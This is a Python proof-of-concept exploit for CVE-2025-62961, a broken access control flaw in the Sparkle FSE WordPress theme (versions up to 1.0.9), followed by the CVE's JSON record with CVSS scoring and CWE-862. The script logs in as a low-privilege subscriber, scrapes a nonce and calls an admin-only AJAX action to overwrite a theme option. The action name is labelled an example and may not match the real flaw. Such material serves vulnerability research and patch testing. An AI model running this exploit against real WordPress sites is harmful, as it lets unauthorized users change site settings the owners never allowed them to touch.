CVE-2025-62961

import requests import sys # CVE-2025-62961 PoC - Sparkle FSE Broken Access Control # Target: WordPress site with Sparkle FSE theme <= 1.0.9 # Author: Security Research TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege account PASSWORD = "password123" def get_nonce_and_cookie(): """Obtain authentication cookie and nonce for the attack.""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return None, None # Get nonce from theme options page options_page = session.get(f"{TARGET_URL}/wp-admin/admin.php?page=sparkle-fse-options") nonce = None import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', options_page.text) if nonce_match: nonce = nonce_match.group(1) return session.cookies.get_dict(), nonce def exploit_broken_access_control(cookies, nonce): """Exploit the missing authorization vulnerability.""" # Example: Trigger admin-only function with subscriber privileges exploit_data = { 'action': 'sparkle_fse_admin_action', '_wpnonce': nonce, 'option_name': 'sparkle_fse_license_key', 'option_value': 'injected_value' } response = requests.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data, cookies=cookies ) if response.status_code == 200 and 'success' in response.text: print("[+] Exploitation successful! Unauthorized action executed.") print(f"[+] Response: {response.text}") return True else: print("[-] Exploitation failed or access denied.") return False if __name__ == "__main__": print("[*] CVE-2025-62961 Sparkle FSE PoC") print("[*] Testing for Broken Access Control vulnerability") cookies, nonce = get_nonce_and_cookie() if cookies and nonce: print("[+] Authenticated successfully with low-privilege account") exploit_broken_access_control(cookies, nonce) else: print("[-] Failed to obtain valid session")

{"cve": {"id": "CVE-2025-62961", "sourceIdentifier": "[email protected]", "published": "2025-12-18T17:15:54.627", "lastModified": "2026-04-23T15:34:52.863", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in sparklewpthemes Sparkle FSE sparkle-fse allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sparkle FSE: from n/a through <= 1.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/sparkle-fse/vulnerability/wordpress-sparkle-fse-theme-1-0-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}